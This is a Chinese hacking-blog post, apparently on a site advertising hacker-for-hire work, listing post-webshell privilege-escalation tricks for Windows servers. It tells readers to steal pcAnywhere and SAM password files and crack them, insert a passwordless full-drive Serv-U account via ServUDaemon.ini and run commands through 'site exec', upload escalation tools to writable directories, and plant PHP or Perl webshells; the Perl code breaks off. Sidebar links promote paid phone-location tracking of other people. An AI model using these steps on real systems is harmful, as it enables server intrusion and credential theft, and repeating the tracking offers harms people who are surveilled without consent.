许多高手提升权限技巧

访客4年前关于黑客接单950

当我们取得一个webshell时候,下一部要做的就是提升权限

  个人总结如下:

  1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看能否跳转到这个目录,如果行那就更好了,直接下它的CIF文件,得到pcAnywhere密码,登陆

  2.C:\WINNT\system32\config进这里下它的SAM,破解用户的密码

  c:\winnt\repaire 下是备份

  用到破解sam密码的软件有LC,SAMinside

  3.C:\Documents and Settings\All Users\「开始」菜单\程序 看这里能跳转不,我们从这里可以获取好多有用的信息

  可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转

  进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空

  [USER=dede|1]

  Password=

  HomeDir=c:TimeOut=600

  Maintenance=System

  Access1=C:\|RWAMELCDP

  Access1=d:\|RWAMELCDP

  Access1=f:\|RWAMELCDP

  SKEYValues=

  这个用户具有更高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限

  4.c:\winnt\system32\inetsrv\data就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行

  5.看能否跳转到如下目录

  c:\php, 用phpspy

  c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell

  #!/usr/bin/perl

  binmode(STDOUT);

  syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);

标签: 好话题

相关文章

手机号定位_手机号定位10元一次,这个价格贵不贵呢?

如果你想知道别人的个人信息,想要调查一下对方的话。手机号定位是比较有效的一种方法,手机号定位10米一次,其实还是要看自身的想法。  1、手机号码定位10米钱一次是良心价格:手机号定位如果说对方的...

穿山甲MSSQL注射抓包(部分)

作者:TheLostMind 看了下穿山甲,很牛X的工具,抓了下包,随便整理了以下,无聊时看看……===============================================Tar...

黑客牛人:没钱买电脑 手机编10万代码_牛人

本文转载自超能网,其他媒体转载须经超能网同意。大家有没有觉得这几年来已经很有个人电脑中毒的大规模事件了?如今的网络安全水平是比前几年好多了,最近一次大事件还是永恒之蓝病毒。现在的黑客也不再以开发病毒为...

开的房记录派出所能不能删除_开的房记录怎么删除

开的房记录派出所能不能删除_开的房记录怎么删除 据外媒报道,在黑色星期五,黑客也跑来凑热闹,开始在暗网上打折叫卖他们窃取的信用卡信息。一些安全专家,包括美国FBI、英国网络防御机构和网络安全公司,均...

面对黑客入侵网站,你需要怎样的防范措施?

网站后台登录链接是黑客入侵的切入点。一旦网站的登录链接暴露出来,将会给网站带来严重的安全风险。即使在使用PHP或其他语言开发网站系统时,黑客通常也会使用背景文件进行攻击(例如上传图像、写入数据库等)。...

试驾评测 体验全新一代唐智享升级怎么样

如今的汽车除了满足出行之外,还有个重要的标签是智能化,而智能化的打开方式既包括它在驾驶过程中非常智能,又包括它能在生命周期中给与消费者常开常新的感觉。作为自主品牌技术代表的比亚迪,在此环节还是挺具备优...